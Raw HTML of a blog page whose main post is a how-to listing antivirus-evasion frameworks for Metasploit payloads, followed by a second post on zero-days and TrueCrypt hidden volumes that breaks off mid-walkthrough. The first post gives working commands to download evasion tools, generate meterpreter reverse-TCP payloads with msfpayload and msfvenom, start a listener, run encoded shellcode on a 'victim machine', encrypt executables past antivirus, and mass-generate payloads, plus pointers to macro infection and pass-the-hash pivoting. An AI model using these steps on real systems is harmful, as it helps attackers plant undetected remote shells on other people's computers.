List of Differnet AV evasion Frameworks.

<div dir="ltr" style="text-align: left;" trbidi="on">Today we are gonna talk about different AV evasion frameworks for metasploit payload & how to use them? It`s very imporatant when you know which AV you have to bypass, because we don`t have to worry about FUD. Some payload can bypass specific AV ; while other AV can not be bypassed using that payload.<br /><br /><h3 style="text-align: left;">(1)Veil:-</h3><br />Veil is python based tool which create FUD payload , One of the best framework for AV evasion. On the 15th of every month, at least one new payload module will be released.<br /><br /><a href="http://tipstrickshack.blogspot.com/2013/08/bypass-av-using-veil-in-backtrack.html" target="_blank">Click here for how to install & use Veil?</a><br /><h3 style="text-align: left;">(2)AV0id :-</h3><br />Anti-Virus Bypass Metasploit Payload Generator Script.<br /><br />wget https://github.com/nccgroup/metasploitavevasion/archive/master.zip<br />unzip master.zip <br />cd metasploitavevasion-master/<br />./avoid.sh<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGhh3q6hfm2xESTVEY_4E8tNNsz-rB7wRM98o50lLSbESUOXrTteieI4Wif_sig4BPnsfBql8-FAAdFyeWTnUjLmR1VCmWRfQFIsPwL8MaarSBFG_KoViY9oaxhKIFVkIwcuqj5dn7Ceuw/s1600/msfevasion.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Antivirus Evasion" border="0" height="204" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGhh3q6hfm2xESTVEY_4E8tNNsz-rB7wRM98o50lLSbESUOXrTteieI4Wif_sig4BPnsfBql8-FAAdFyeWTnUjLmR1VCmWRfQFIsPwL8MaarSBFG_KoViY9oaxhKIFVkIwcuqj5dn7Ceuw/s320/msfevasion.png" title="Antivirus Evasion" width="320" /></a></div><br /><a name='more'></a><br />If you are using other interface than eth , then you have to change in script avoid.sh . For exmaple ; i am using ppp0 interface ,so open avoid.sh file & replace line 150 which is IP=$(ifconfig "$IPINT" |grep "inet adr:" |cut -d ":" -f 2 |awk '{ print $1 }') with IP=$(ifconfig ppp0 | awk '/inet addr/ {split ($2,A,":"); print A[2]}').<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIKCS6629bsm3Mx7pBcT6TG0fypzyZDI3Y0iDNDPbq8Biro7lVNChsIos3VwTIRRa853_Dr_V1UxPb2uYaLQVqgYPYeqr1un1p6dCW117AYsblaCegnS4n8keE3wQIqovchdbT06-o4QPH/s1600/AV-msfevasion.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="AV-Reports-For-payload" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIKCS6629bsm3Mx7pBcT6TG0fypzyZDI3Y0iDNDPbq8Biro7lVNChsIos3VwTIRRa853_Dr_V1UxPb2uYaLQVqgYPYeqr1un1p6dCW117AYsblaCegnS4n8keE3wQIqovchdbT06-o4QPH/s1600/AV-msfevasion.PNG" title="AV-Reports-For-payload" /></a></div><br /><br /><a href="http://www.commonexploits.com/?p=789" target="_blank">Click here for original author`s blog. </a><br /><br /><h3 style="text-align: left;">(3)Syringe:-</h3><br />wget https://syringe-antivirus-bypass.googlecode.com/files/syringe%200.1.tar<br />tar xf syringe\ 0.1.tar <br />./syringe.sh<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiULASD2xbEilzgEEECR-HYnfx9RbwNyZtA1IIH6H-jvqFiz2Qehy2FsbKIUfv62ncoS_Vib5eChTA-s4qxcccZC3k_lNNV9_9HfuOaZAP8-j0o-88Nq2GdAkyUL-PZlFWfK2bdWjgM9gV5/s1600/syringe.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Antivirus-Evasion-Using-Syringe" border="0" height="297" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiULASD2xbEilzgEEECR-HYnfx9RbwNyZtA1IIH6H-jvqFiz2Qehy2FsbKIUfv62ncoS_Vib5eChTA-s4qxcccZC3k_lNNV9_9HfuOaZAP8-j0o-88Nq2GdAkyUL-PZlFWfK2bdWjgM9gV5/s320/syringe.PNG" title="Antivirus-Evasion-Using-Syringe" width="320" /></a></div><br />As mention previously , change interface type in script if you are not using eth. Replace line 10 which is export interface=eth0 to export interface=ppp0.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5r4JSG9cod5VAtW9sbhuH8yY1rFlFlcB7Ogmb_WOEDctoWwivu7ne3KN8Avr3yW19R5zvZ1YOnB6qdZ6tmnnLt8JG2aWFxDGR48mfJOsSrtC8M9sBIPW8SsYKWgHxw3zrK2tCn1uTeu3K/s1600/AV-syringe.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="AV-Reports-For-syringe-payload" border="0" height="100" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5r4JSG9cod5VAtW9sbhuH8yY1rFlFlcB7Ogmb_WOEDctoWwivu7ne3KN8Avr3yW19R5zvZ1YOnB6qdZ6tmnnLt8JG2aWFxDGR48mfJOsSrtC8M9sBIPW8SsYKWgHxw3zrK2tCn1uTeu3K/s320/AV-syringe.PNG" title="AV-Reports-For-syringe-payload" width="320" /></a> </div><div class="separator" style="clear: both; text-align: center;"><br /></div><h3 class="separator" style="clear: both; text-align: left;">(4)Shellcodeexec:-</h3><br />git clone https://github.com/inquisb/shellcodeexec<br /><br />we are gonna use downloaded shellcodexec in third step on victim machine.<br /><br />(1)msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.56.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX<br /><br />(2)msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.56.1 E<br /><br />(3)C:\WINDOWS\Temp>shellcodeexec.exe <msfencode's alphanumeric-encoded payload><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI7OA5xMloGFCYx4ssHlQWSIyI8mFNGueOksRJrMGTxIbiqev6Y7HqWjzcLM4bRIzFOMIjitudvhhQq7Q97pL1M7ntQWPxvBbFSrgGG1S73sftYOx0sQWNpu7njUjk0rdco6H1zLaTmLYg/s1600/AV-shellcodec.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="shellcodeexex-AV-report" border="0" height="110" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI7OA5xMloGFCYx4ssHlQWSIyI8mFNGueOksRJrMGTxIbiqev6Y7HqWjzcLM4bRIzFOMIjitudvhhQq7Q97pL1M7ntQWPxvBbFSrgGG1S73sftYOx0sQWNpu7njUjk0rdco6H1zLaTmLYg/s320/AV-shellcodec.PNG" title="shellcodeexex-AV-report" width="320" /></a></div><br /><a href="http://bernardodamele.blogspot.co.uk/2011/04/execute-metasploit-payloads-bypassing.html" target="_blank">Click here for detail tutorial on  how to use shellcodeexec?</a><br /><br /><h3 style="text-align: left;">(5)Hypersion:-</h3><br />Hyperion is a runtime encrypter for 32-bit portable executables.<br /><br />wget http://nullsecurity.net/tools/binary/Hyperion-1.0.zip<br />unzip Hyperion-1.0.zip <br />cd Hyperion-1.0<br />wine /root/.wine/drive_c/MinGW/bin/g++.exe ./Src/Crypter/*.cpp -o crypter.exe<br /><br />Now generate metasploit payload.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpgqgky4HquaDjN2L0p4Nyn-UgLATgxc94OlvBhLeiiJ2z-cb1EV2ufz2H-m9INmRe5_u68dvVdAPjRQiXtLnoC0PRygtVtgckS1-KNJgF789qnRlDH96Z90E7SnPj35Cx63kGmBLOLVjC/s1600/hypersion.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="hyperion-payload" border="0" height="312" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpgqgky4HquaDjN2L0p4Nyn-UgLATgxc94OlvBhLeiiJ2z-cb1EV2ufz2H-m9INmRe5_u68dvVdAPjRQiXtLnoC0PRygtVtgckS1-KNJgF789qnRlDH96Z90E7SnPj35Cx63kGmBLOLVjC/s320/hypersion.PNG" title="hyperion-payload" width="320" /></a></div><br />msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=443 -f exe >payload.exe<br />wine crypter.exe payload.exe encrypted_payload.exe<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkZE9KnWYzpVnRtbx05D4KicJkNhOGnk0FEIp9fXc0gov-dQgMhRVaPFC64mYUcRmbaJik-x0PoK7jltRF3RWav_X4UZMl1prMFbvnAWGpFrgPQ8T4tduJ8n9-CTda0YObNdCHm8CBOEvg/s1600/AV-hypersion.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="AV-report-for-hyperion-payload" border="0" height="109" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkZE9KnWYzpVnRtbx05D4KicJkNhOGnk0FEIp9fXc0gov-dQgMhRVaPFC64mYUcRmbaJik-x0PoK7jltRF3RWav_X4UZMl1prMFbvnAWGpFrgPQ8T4tduJ8n9-CTda0YObNdCHm8CBOEvg/s320/AV-hypersion.PNG" title="AV-report-for-hyperion-payload" width="320" /></a> </div><div class="separator" style="clear: both; text-align: left;"><br /></div><h3 class="separator" style="clear: both; text-align: left;">(6)Crypter.py:-</h3><br />Download it from below link .<br />http://home.base.be/%72%68%69%6e%63%6b%78%74/script.zip<br />unzip  script.zip<br />python crypter.py <br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCauZMoGm4G5by0kx6INRzyPTcbpPhYrXg26rVVvOI6hrkW_gIawav1WRjqMOXCNv9nVTX9zH3wrnjR8KlboY9fsxEFO8vXe4Ljysib_ZpSTSFagoH_ThM1TlHxbjo6TbD-zyl9pq-MCL_/s1600/crypter.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="crypter.py" border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCauZMoGm4G5by0kx6INRzyPTcbpPhYrXg26rVVvOI6hrkW_gIawav1WRjqMOXCNv9nVTX9zH3wrnjR8KlboY9fsxEFO8vXe4Ljysib_ZpSTSFagoH_ThM1TlHxbjo6TbD-zyl9pq-MCL_/s320/crypter.PNG" title="crypter.py" width="228" /></a></div><br />If you get error while running then change path of structure.c in line 45 & save it , run again.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMyRcZYmFXVEXoBVY7BzGVbXZntpIVF1ehN2JwfBHNNYJjA39Zngc8Fh0CKe-YX9j9uPSbF1XdGxSqfhWkuhbN9Xo5yWNZhEcELQMGJfzRSDFqtJYwn5ujycdXwUgdsmrgJbDoyuk81mUB/s1600/AV-Crypter.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="AV-report-for-crypter.py-payload" border="0" height="105" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMyRcZYmFXVEXoBVY7BzGVbXZntpIVF1ehN2JwfBHNNYJjA39Zngc8Fh0CKe-YX9j9uPSbF1XdGxSqfhWkuhbN9Xo5yWNZhEcELQMGJfzRSDFqtJYwn5ujycdXwUgdsmrgJbDoyuk81mUB/s320/AV-Crypter.PNG" title="AV-report-for-crypter.py-payload" width="320" /></a></div><br /><h3 style="text-align: left;">(7)Brute-force AV Evasion :-</h3><br />Genpayloads.py is script to generate lots of payloads , then scan folder for specific after that you have some binary left in folder which does not detected by specific AV.<br /><br /><a href="http://bernardodamele.blogspot.co.uk/2011/04/execute-metasploit-payloads-bypassing.html" target="_blank">Click here for Original tutorial</a><br /><br />wget https://raw.github.com/obscuresec/random/master/GenPayloads.py<br />python GenPayloads.py windows/meterpreter/reverse_tcp 192.168.1.2 443 1000 yes<br /><br /><h3 style="text-align: left;">(8)Finding Simple AV Signatures with PowerShell :-</h3><br />Awesome tutorial <a href="http://www.obscuresecurity.blogspot.in/2012/12/finding-simple-av-signatures-with.html" target="_blank">here</a> to find AV signatures & then change specific bit which trigger AV . It only works with signature-based antivirus .<br /><br /><h3 style="text-align: left;">(9)Powershell:-</h3><br /><a href="http://tipstrickshack.blogspot.com/2013/08/bypass-av-using-powershell-method-using.html" target="_blank">Bypass AV using SET powershell module using Batch file</a><br /><br /><a href="http://pentesterscript.wordpress.com/2013/10/15/get-shell-using-powersploit/" target="_blank">Get shell using powersploit</a><br /><br /><a href="http://tipstrickshack.blogspot.com/2014/01/deliver-powershell-payload-using-macro.html">Deliver powershell payload using macro </a><br /><br /><h3 style="text-align: left;">(10)Get Shell Using VB script:- </h3><br />Metasploit has a couple of built in methods you can use to infect Word and Excel documents with malicious Metasploit payloads. You can also use your own custom payloads as well.<br /><br />For details tutorial click <a href="http://tipstrickshack.blogspot.com/2013/10/get-shell-using-shellcode-in-macro.html" target="_blank">here</a><br /><br /><h3 style="text-align: left;">(11)Ghost Writing ASM :-</h3><br />Using Metasm To Avoid Antivirus Detection. First generate metasploit payload in raw format then disassmble using metasm which come with metasploit.Add anything you want so long as you don’t break the functionality of the application.After that compile into EXE.<br /><br />For tutorial click <a href="http://www.pentestgeek.com/2012/01/25/using-metasm-to-avoid-antivirus-detection-ghost-writing-asm" target="_blank">here</a> .<br /><br /><h3 style="text-align: left;">(12)Different Pivoting technique to bypass AV :-</h3><br />Following are framework & module which are mostly used after getting credentials. It does not flag by AV like traditional psexec.<br /><br />(1)<a href="http://tipstrickshack.blogspot.com/2014/02/how-to-install-and-use-veil-catapult-in.html">Veil-Catapult</a><br /><br />(2)<a href="http://www.pentestgeek.com/2013/10/23/smbexec-2-0-released/">SMBExec</a><br /><br />(3)<a href="http://bernardodamele.blogspot.com/2009/12/keimpx-in-action.html">Keimpx</a><br /><br />(4)<a href="https://code.google.com/p/passing-the-hash/">PTH suite</a><br /><br />(5)Metasploit module:- powershell_psexec , psexec_psh , psexec_command <br /><br />If you know other methods for AV evasion then please comment here. </div>

List of Differnet AV evasion Frameworks.

Today we are gonna talk about different AV evasion frameworks for metasploit payload & how to use them? It`s very imporatant when you kn...

+ Read more »

ZERO-DAY A Future Threat, And How To Protect Your Data

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh16qqcH1tDcDbWc3PIUt_lLfE_r4EEHzzfUjanIXbghcwQEScUlp08lHIN8Clwsmd0dw6UO8AFzFEgJjRwxk8RytnCaiSEc8SAl47PnAQ3fsBC-5CDSppj5My2Phodw-iuPHL4sC6dCvI/s1600/hacker_business-11337943.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh16qqcH1tDcDbWc3PIUt_lLfE_r4EEHzzfUjanIXbghcwQEScUlp08lHIN8Clwsmd0dw6UO8AFzFEgJjRwxk8RytnCaiSEc8SAl47PnAQ3fsBC-5CDSppj5My2Phodw-iuPHL4sC6dCvI/s640/hacker_business-11337943.jpg" width="577" /></a></div><h3 style="text-align: left;">ABSTRACT</h3>It is known that practically all software has security flaws (programming problems that give individuals opportunities to explore previously nonexistent), many of these vulnerabilities not yet discovered, and hundreds are corrected every month through the packages available organizations affected, sometimes new versions and updates.<br /><br /><a name='more'></a><br />The term "<b>zero day</b>" (zero hour or 0day ) refers to the unknown nature of security breaches for companies , this attack tries to exploit computer application vulnerabilities that are unknown yet even by software manufacturers . Explaining in a simple and generally, there are two types of "<b>exploit</b>", or flaws / vulnerabilities that can be used in attacks. Those found by security companies and found by hackers whose purpose is exploration.<br /><br />The issue is that some hackers choose to disclose newly discovered failures to apply the necessary corrections are sometimes rewarded for it with prizes. The "black hats" prefer to save for their own benefit ne a future attack or to share with attackers before the developer of software knows about the vulnerability.<br /><br /><h3 style="text-align: left;">HISTORY ALGORITHM AES</h3>Regarding PRIVACY is important to know how to control the availability and exposure of your data , the AES algorithm was proposed to replace DES, NIST ("National Institute of Standards and Technology U.S.") held a competition (The selection process began in 1997 and ended in 2000 with the victory of the Rijndael algorithm written by Joan Daemen and Vincent Rijmen) for it to be made an algorithm that would be called "Advanced Encryption Standard " that meets the following specifications: algorithm publicly defined;<br /><br />Being a symmetric cipher block; Designed for the key size can be increased; Deployable in both hardware and software; Powered freely, this algorithm Encrypt and Decrypt using an encrypted key and blocks, both sizes of 128,192 or 256 bits.<br /><br />I will cite and explain how an open source tool very important: TrueCrypt (encryption on-the-fly OTFE) to confidential files , folders and entire drives on your PC , encryption, it can create a virtual encrypted disk or encrypt a partition , individual algorithms supported by TrueCrypt are AES, Serpent and Twofish, additionally , five different combinations of cascaded algorithms are available : AES-Twofish, AES-Twofish-Serpent, Serpent-AES, Serpent-Twofish-AES and Twofish-Serpent. Uses RIPEMD-160, SHA-512 and Whirlpool as hashing functions.<br /><h3 style="text-align: left;">SOLUTION</h3>Due to the increasing amount of 0day discovered, I will present one of the safest techniques to protect the security of your data, first we store our data in a nonvolatile memory device (eg USB stick or external HD, is the storage, where once recorded, the data are not lost when you remove the power source), we will also create a volume HIDDEN, at worst it can happen that you are forced by somebody to reveal the password to an encrypted volume . There are situations where you cannot refuse to reveal the password, for example, due to extortion. The method is to use a volume "HIDDEN" that allows you to solve such situations without revealing the password to your volume true, we actually create two passwords, a password can be used for volume "False" and one for the volume "True".<br /><br />In case of any extortion can provide the password "Fake" where the attacker will have access, and the information contained in this folder will be irrelevant.<br /><h3 style="text-align: left;">STEP BY STEP</h3>Choose the "Create Volume".<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="http://www.blogger.com/blogger.g?blogID=3931647244436708798" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiREwBukmWFgKe2lFHNTylFqrrmrGe5fKwhBcL5QQNBJuAyHAb_8sH6IUdLbX392Yo_8WM7Hil59fWTzge3Y3SHGZYaJJ7NqPH8VBH1du3qJgztaRU-jLqPzUobOdElSucgZtexf9Htfn6a/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiREwBukmWFgKe2lFHNTylFqrrmrGe5fKwhBcL5QQNBJuAyHAb_8sH6IUdLbX392Yo_8WM7Hil59fWTzge3Y3SHGZYaJJ7NqPH8VBH1du3qJgztaRU-jLqPzUobOdElSucgZtexf9Htfn6a/s1600/1.jpg" /></a></div><br /><b>Step1.</b><br /><br /><br />Select "Create an encrypted file container" then click "Next".<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAYEdyJmSfcr5fu5nNAkon3rF2NDSvoFN59SYNg9AfqTcRQxxAILCeli0g4dIKK_4IojDrAgwRTIKJ3Gz58cL0vV3RPWylbgqGjicVMCGNhv_nQu6Ta7NvbEykAWHt80cILA3Ue4a18vQ5/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAYEdyJmSfcr5fu5nNAkon3rF2NDSvoFN59SYNg9AfqTcRQxxAILCeli0g4dIKK_4IojDrAgwRTIKJ3Gz58cL0vV3RPWylbgqGjicVMCGNhv_nQu6Ta7NvbEykAWHt80cILA3Ue4a18vQ5/s1600/2.jpg" /></a></div><b>Step2.</b><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><br />Select "Hidden TrueCrypt volume" and click "Next".<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicUv3ISls2AmkjrJbfTmx5vAzsQsfYzZwt44o8S4Phf5I6Z4oGW1GPLFIj4GnauXpn6FhmfJ3Kcz2awN3x6HdYKssj2bjWaEO-8oYOqd8QAqgBR_V-QJTze1BByX88ndRGvTfZ-C4GalX_/s1600/3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicUv3ISls2AmkjrJbfTmx5vAzsQsfYzZwt44o8S4Phf5I6Z4oGW1GPLFIj4GnauXpn6FhmfJ3Kcz2awN3x6HdYKssj2bjWaEO-8oYOqd8QAqgBR_V-QJTze1BByX88ndRGvTfZ-C4GalX_/s400/3.jpg" width="400" /></a></div><b>Step3</b>.<br /><br />Then we select this option, the wizard will first help you create a normal volume and then a TrueCrypt hidden volume within it.<br /><br />Select “Normal mode” and click “Next”.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJypGC3V19bYr4MRKVrcvCk4IBi2btLikrboPtddMSG5MvQAgukDoI0MLM5zd6STYo0DVcuO19WC0aw2xl_FATnjaRCztAdhSmPsqndST17z4ynmVYdoNICOhqhj7WdM7XrnR1GURBNTKl/s1600/4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="287" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJypGC3V19bYr4MRKVrcvCk4IBi2btLikrboPtddMSG5MvQAgukDoI0MLM5zd6STYo0DVcuO19WC0aw2xl_FATnjaRCztAdhSmPsqndST17z4ynmVYdoNICOhqhj7WdM7XrnR1GURBNTKl/s400/4.jpg" width="400" /></a></div><b>Step4</b>.<br /><br /><br />Choose a name for the file and click "Save".<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6dogvaDff8I9NVDY02m-aDCOgtYuI6qrR1L9giuuClXVOHVngneoYoRwCRKpFiIhYoicy5zoK2Qmv6XtUgYVZGJyFfbBpPfyQ2hMVvJS7AcxWDIbXOMuNZvljCK4OSM0g8q2HGSyLo6Ds/s1600/5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6dogvaDff8I9NVDY02m-aDCOgtYuI6qrR1L9giuuClXVOHVngneoYoRwCRKpFiIhYoicy5zoK2Qmv6XtUgYVZGJyFfbBpPfyQ2hMVvJS7AcxWDIbXOMuNZvljCK4OSM0g8q2HGSyLo6Ds/s1600/5.jpg" /></a></div><b>Step5.</b><br /><br />Select the location of the outer volume to be created (within this volume will be a hidden, that will be created later).Go straight on "Next”.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWWzsjeQQLHbcmy2rQdrcV5gb44-k0RWU0Sxcb27a4g60d2ZQhX17g1g4Uk4vXtCD35KS2-T2F8YqKcEPVeUR_GGcgu9-ak0lYa3seTNyCQsZcNT62zUgoW3twDsyVUuif0_4oegU8fdj7/s1600/6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWWzsjeQQLHbcmy2rQdrcV5gb44-k0RWU0Sxcb27a4g60d2ZQhX17g1g4Uk4vXtCD35KS2-T2F8YqKcEPVeUR_GGcgu9-ak0lYa3seTNyCQsZcNT62zUgoW3twDsyVUuif0_4oegU8fdj7/s1600/6.jpg" /></a></div><b>Step6.</b><br /><br />Again click "Next".<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO0JEJwe2tvZ5wbr1aJO9V9eJckxIK6L4k0L_MHScgkG6uPsOagZu2AF6m21QK2lBor3gxZgkNCojFfsoTqC56tTDXURJ-SBtK_ydXsrYN0-vLp7ZSNWgoljhvdSX5SqCboBvdy7VxmPUK/s1600/7.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="290" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO0JEJwe2tvZ5wbr1aJO9V9eJckxIK6L4k0L_MHScgkG6uPsOagZu2AF6m21QK2lBor3gxZgkNCojFfsoTqC56tTDXURJ-SBtK_ydXsrYN0-vLp7ZSNWgoljhvdSX5SqCboBvdy7VxmPUK/s400/7.jpg" width="400" /></a></div><b>Step7.</b><br /><b><br /></b>Select the type of encryption algorithm you want to use:<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZFRM__IqgFB6biC89vjibHcJMs-1GSXLAidoWaNPoud5pu4tpW-d5HkWmwtsyN1sU0OfOQWdJEbanauMNkr9u7pwv-BxFQ__1bUn2N7Oka1CXDry9MI7-6-UKUjMFijL4W92KFyeB7Tg8/s1600/8.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZFRM__IqgFB6biC89vjibHcJMs-1GSXLAidoWaNPoud5pu4tpW-d5HkWmwtsyN1sU0OfOQWdJEbanauMNkr9u7pwv-BxFQ__1bUn2N7Oka1CXDry9MI7-6-UKUjMFijL4W92KFyeB7Tg8/s1600/8.jpg" /></a></div><b>Step8.</b><br /><br /><br />Enter the volume size and click "Next".<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEJalYLh1F4Mqeyt0RnLD5tfONay0HcVRNUF38Ji2wOdLV3gHaw9RXPsSLd5lVPkPIMnT7D-1wTU23frYvwnJJJn-2IS2DY93lJdDIjTgPRMlMUwRX9uMH8Pl39-Zh07YsmRw_hXG53ykS/s1600/9.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEJalYLh1F4Mqeyt0RnLD5tfONay0HcVRNUF38Ji2wOdLV3gHaw9RXPsSLd5lVPkPIMnT7D-1wTU23frYvwnJJJn-2IS2DY93lJdDIjTgPRMlMUwRX9uMH8Pl39-Zh07YsmRw_hXG53ykS/s1600/9.jpg" /></a></div><b>Step9</b>.<br /><br /><br />Choose a password, the more characters better, example: p@ssword.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGnRfkhX9SaGPGYl9k01CfywTveZ2s97MH3NCgou8JMTvSx5OxCTNCadldrik8-RVlSOnUsULUAvtSkTModihn553a326qy_krj0T8kxn2ma3nUef8KwdbHem5wK61v1ZYvnqx4nSKflpD/s1600/10.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGnRfkhX9SaGPGYl9k01CfywTveZ2s97MH3NCgou8JMTvSx5OxCTNCadldrik8-RVlSOnUsULUAvtSkTModihn553a326qy_krj0T8kxn2ma3nUef8KwdbHem5wK61v1ZYvnqx4nSKflpD/s1600/10.jpg" /></a></div><b>Step10</b>.<br /><br />Select the "Format" and click.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheUr9dTvQzWfn_mx1jkTJVWvdHugDooEILEmGdvOsxKN34gDxd58fsG1tM-pu3O_pqShn4czYi5AYvbKpRT7Q8svy664HMOfkCWhY1Fr3Plw_jmxiokgOxRyXk6SP5wDRdZrZSKSDGh1qK/s1600/11.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheUr9dTvQzWfn_mx1jkTJVWvdHugDooEILEmGdvOsxKN34gDxd58fsG1tM-pu3O_pqShn4czYi5AYvbKpRT7Q8svy664HMOfkCWhY1Fr3Plw_jmxiokgOxRyXk6SP5wDRdZrZSKSDGh1qK/s1600/11.jpg" /></a></div><b>Step11.</b><br /><br /><br />Now wait for the formatting, you can move the mouse quickly to generate a better randomness.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8dhDtcnz911cQr5yoviZPiVQj-mGpaNqFjpRsm_pvVYWEVis4rpsaRrUGkaVdDWmR5IN044b6QyZEvgLyembgRDaEU8kgm3UEAiKMq4iQ8nEl7y9hhdQTjbhdk_nYV-FfpT63yI91J2A9/s1600/12.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" 